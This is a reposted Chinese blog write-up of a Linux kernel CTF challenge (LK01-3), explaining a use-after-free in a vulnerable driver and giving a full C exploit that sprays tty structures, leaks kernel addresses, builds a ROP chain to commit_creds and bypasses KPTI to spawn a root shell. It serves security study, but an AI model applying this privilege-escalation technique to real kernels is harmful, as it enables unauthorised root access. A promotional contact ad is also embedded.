通过复用TTY结构体实现提权利用

这篇具有很好参考价值的文章主要介绍了通过复用TTY结构体实现提权利用。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

UAF是用户态中常见的漏洞,在内核中同样存在UAF漏洞,都是由于对释放后的空间处理不当,导致被释放后的堆块仍然可以使用所造成的漏洞。

LK01-3

结合题目来看UAF漏洞

项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-3

open模块

在执行open模块时会分配0x400大小的堆空间,并将地址存储在g_buf

#define BUFFER_SIZE 0x400
​
char *g_buf = NULL;
​
static int module_open(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_open called\n");
​
  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }
​
  return 0;
}

read模块

在读模块中,会从用户空间中读取0x400字节到g_buf执行的堆空间中

static ssize_t module_read(struct file *file,
                           char __user *buf, size_t count,
                           loff_t *f_pos)
{
  printk(KERN_INFO "module_read called\n");
​
  if (count > BUFFER_SIZE) {
    printk(KERN_INFO "invalid buffer size\n");
    return -EINVAL;
  }
​
  if (copy_to_user(buf, g_buf, count)) {
    printk(KERN_INFO "copy_to_user failed\n");
    return -EINVAL;
  }
​
  return count;
}

write模块

在写模块中,会从用户空间拷贝400字节数据到内核堆空间中

static ssize_t module_write(struct file *file,
                            const char __user *buf, size_t count,
                            loff_t *f_pos)
{
  printk(KERN_INFO "module_write called\n");
​
  if (count > BUFFER_SIZE) {
    printk(KERN_INFO "invalid buffer size\n");
    return -EINVAL;
  }
​
  if (copy_from_user(g_buf, buf, count)) {
    printk(KERN_INFO "copy_from_user failed\n");
    return -EINVAL;
  }
​
  return count;
}

close模块

close模块会释放g_buf指向的堆块空间

static int module_close(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_close called\n");
  kfree(g_buf);
  return 0;
}

漏洞分析

在读写模块中都限制了长度为0x400,这与一开始分配的堆空间大小一致,因此与LK01-2不同的是不存在堆溢出漏洞。但是在open模块中g_buf是唯一用来存储堆地址的变量,并且没有进行次数限制,那么就会导致多次调用open模块会使得存在多个指针指向同一块内存,若该内存被释放就会造成UAF漏洞。下图就是构造UAF漏洞的流程。

当把g_buf释放掉后,通过fd2文件描述符同样能够操控g_buf的空间,问题是该如何劫持程序流程,由于堆空间是通过slab分配器进行分配的,而slab还可而已进行缓存,因此g_buf被释放后会放进缓存中,而g_buf的大小为0x400这与tty结构体一致,因此此时通过堆喷确保g_buf被分配到tty结构体。构造uaf的代码如下。

...
    int fd1 = open("/dev/holstein", O_RDWR);
    int fd2 = open("/dev/holstein", O_RDWR);
    close(fd1);
    for (int i = 0; i < 50; i++)
    {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
        {
            printf("error!\n");
            exit(-1);
        }
    }
...

这里我有一个疑惑的点,在模块中的close函数仅仅只是释放了g_buf的堆内存并没有后续操作,因此在执行close(fd1)之后,是不是还能对文件描述符fd1进行操作,后来试验之后发现不行,查询资料得到,文件描述符的移除是内核默认操作与重定义模块的close操作无关。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

在构造出UAF漏洞并进行堆喷之后,实际操作的g_buf指向的是tty的结构体,该结构体偏移0x18是一个函数表的操作指针,那么将该函数表修改为自定义的函数表即可。后续的操作与LK01-3一致,将指针操作修改为栈迁移到堆上,然后就是执行commit_creds(prepare_kernel_cred(0)),利用swapgs_restore_regs_and_return_to_usermode绕过kpti的保护。

run.sh

#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
    -no-reboot \
    -cpu qemu64,+smap,+smep \
    -smp 1 \
    -monitor /dev/null \
    -initrd initramfs.cpio.gz \
    -net nic,model=virtio \
    -net user \
    -s

exp

#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
int spray[100];
​
//0xffffffff8114fbe8: add al, ch; push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret; 
//0xffffffff8114078a: pop rdi; ret;
//0xffffffff81638e9b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; 
//0xffffffff810eb7e4: pop rcx; ret;
//0xffffffff81072560 T prepare_kernel_cred
//0xffffffff810723c0 T commit_creds
//0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
​
#define push_rdx_pop_rsp_offset 0x14fbe8
#define pop_rdi_ret_offset 0x14078a
#define pop_rcx_ret_offset 0xeb7e4
#define prepare_kernel_cred_offset 0x72560
#define commit_creds_offset 0x723c0
#define swapgs_restore_regs_and_return_to_usermode_offset 0x800e10
#define mov_rdi_rax_offset  0x638e9b
​
unsigned long user_cs, user_sp, user_ss, user_rflags;
​
​
​
void backdoor()
{
    printf("****getshell****");
    system("id");
    system("/bin/sh");
}
​
void save_user_land()
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_sp, rsp;"
        "mov user_ss, ss;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved userland registers");
    printf("[#] cs: 0x%lx \n", user_cs);
    printf("[#] ss: 0x%lx \n", user_ss);
    printf("[#] rsp: 0x%lx \n", user_sp);
    printf("[#] rflags: 0x%lx \n", user_rflags);
    printf("[#] backdoor: 0x%lx \n\n", backdoor);
}
​
​
int main() {
    save_user_land();
    int fd1 = open("/dev/holstein", O_RDWR);
    int fd2 = open("/dev/holstein", O_RDWR);
    close(fd1);
    for (int i = 0; i < 50; i++)
    {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
        {
            printf("error!\n");
            exit(-1);
        }
    }
    char buf[0x400];
    read(fd2, buf, 0x400);
    unsigned long *p = (unsigned long *)&buf;
    //for (unsigned int i = 0; i < 0x80; i++)
    //  printf("[%x]:addr:0x%lx\n",i,p[i]);
    unsigned long kernel_addr = p[3];
    unsigned long heap_addr = p[7];
    printf("kernel_addr:0x%lx\nheap_addr:0x%lx\n",kernel_addr,heap_addr);
    unsigned long kernel_base = kernel_addr - 0xc39c60;
    unsigned long g_buf = heap_addr - 0x38;
    printf("kernel_base:0x%lx\ng_buf:0x%lx\n",kernel_base,g_buf);
    *(unsigned long *)&buf[0x18] = g_buf;
    p[0xc] = push_rdx_pop_rsp_offset + kernel_base;
    //for (unsigned long i = 0xd; i < 0x80; i++)
    //  p[i] = i;
    p[0x21] = pop_rdi_ret_offset + kernel_base;
    p[0x22] = 0;
    p[0x23] = prepare_kernel_cred_offset + kernel_base;
    p[0x24] = pop_rcx_ret_offset + kernel_base;
    p[0x25] = 0;
    p[0x26] = mov_rdi_rax_offset + kernel_base;
    p[0x27] = commit_creds_offset + kernel_base;
    p[0x28] = swapgs_restore_regs_and_return_to_usermode_offset + 0x16 + kernel_base;
    p[0x29] = 0;
    p[0x2a] = 0;
    p[0x2b] = (unsigned long)backdoor;
    p[0x2c] = user_cs;
    p[0x2d] = user_rflags;
    p[0x2e] = user_sp;
    p[0x2f] = user_ss;  
    write(fd2, buf, 0x400);
    for (int i = 0; i < 50; i++)
        ioctl(spray[i], 0, g_buf+0x100);    
        
}

   更多网安技能的在线实操练习,请点击这里>>

 文章来源地址https://www.toymoban.com/news/detail-710127.html

到了这里,关于通过复用TTY结构体实现提权利用的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 通过JavaScript、css、H5 实现简单的tab栏的切换和复用

    目录 一、效果展示 二、实现的大致原理 三、H5的布局 四、CSS样式 五、JS代码内容 六、完整代码 1.我们先通过css 和h5布局得到最基本的tab栏样式(有代码参考) 2.在获得样式,给我们所需要点击的目标设置监听事件,在获取节点,设置一个自定义的节点属性index,通过它在获取

    2023年04月09日
    浏览(39)
  • 【linux提权】利用setuid进行简单提权

    首先先来了解一下setuid漏洞: SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主 不是发起者 ,而是 程序文件所属的属主 。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没

    2024年02月04日
    浏览(61)
  • 系统漏洞利用与提权

    1.使用nmap扫描靶机系统,将靶机开放的端口号按从小到大的顺序作为FLAG(形式:[端口1,端口2…,端口n])提交;(1分) 首先第一道题目的思路就是使用nmap来进行扫描: Flag:[21,22,80] 2.通过上述端口访问靶机系统,使用弱口令进行登录,将正确的用户名和密码作为FLAG(形式:

    2024年02月07日
    浏览(45)
  • linux 设备驱动之tty_operaions数据结构介绍

    tty_operations 结构包含所有的函数回调, 可以被一个 tty 驱动设置和被 tty 核心调 用. 当前, 所有包含在这个结构中的的函数指针也在 tty_driver 结构中, 但是会很快被 只有一个这个结构的实例来替代. int (*open)(struct tty_struct * tty, struct file * filp); open 函数. void (*close)(struct tty_struct *

    2024年01月19日
    浏览(47)
  • Linux利用Suid提权实验

    1.Suid suid:linux系统文件中除了读(r),写(w),执行(x)权限外,还有s和t这两个特殊的权限。 当s这个标志出现在文件所有者的x权限上时,此时就被称为 SetUid (简称SUID)则当文件被执行时,该文件是以文件所有者UID而不是用户UID 执行程序。 2.查找Suid命令 find / -perm -u=s

    2024年02月03日
    浏览(41)
  • Linux普通用户提权(sudo)

    正常来说, 普通用户初始是不具备提权的能力的 ,比如执行 sudo ls 会出现报警告:xxx 不在sudoers文件中。 那么我们就需要在 root 账户下去给它下面的某些用户的 提权(提高权限) 。 先来到根目录下 / 执行命令 vim etc/sudoers ,再按键盘左上角 esc ,输入 :set nu 回车,可以看到

    2024年02月06日
    浏览(49)
  • 【Linux】解决普通用户无法进行sudo提权

    当某个普通用户进行sudo指令提权的时候,可能存在无法操作的问题,如下图:  这个图中有一个细节,我们使用sudo进行提权的时候,用的可是zhangsan的密码,因此有人可能会有疑问,这不是有问题吗???我竟然可以用自己的密码就可以用root的身份创建文件,很离谱啊!那

    2024年01月22日
    浏览(43)
  • 利用MSF溢出漏洞提权windows server2012

    使用Kali Linux平台的“metasploit framework”工具,针对Windows2012R2操作系统,上传EXP实现系统提权。 在此之前已经上传一句话取得admin权限,在自己虚拟机做演示,大家通常取得的权限可能会比admin低,但也是可以进行以下提权的,这里要把目标提权至system权限。 kalil inux Windows S

    2024年01月24日
    浏览(49)
  • 实战攻防演练-利用长亭百川云平台上线远控提权

    长亭百川云平台是北京长亭未来科技有限公司旗下的 SaaS 产品服务平台,专注于云安全解决方案。其提供牧云·主机管理助手、网站监测、牧云·云原生安全平台、雷池 Web 应用防火墙等一系列在线安全产品,帮助企业用户更轻松地治理云安全问题,使云上业务更加安全可靠。

    2024年02月08日
    浏览(41)
  • 【算法与数据结构】--前言

    欢迎来到《算法与数据结构》专栏!这个专栏将引领您进入计算机科学领域中最重要、最精彩的领域之一:算法与数据结构。不管您是一名初学者,还是已经拥有一定编程经验的开发者,都可以从这里找到有益的知识和实践。 在计算机科学的世界里,算法和数据结构是至关重

    2024年02月07日
    浏览(246)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包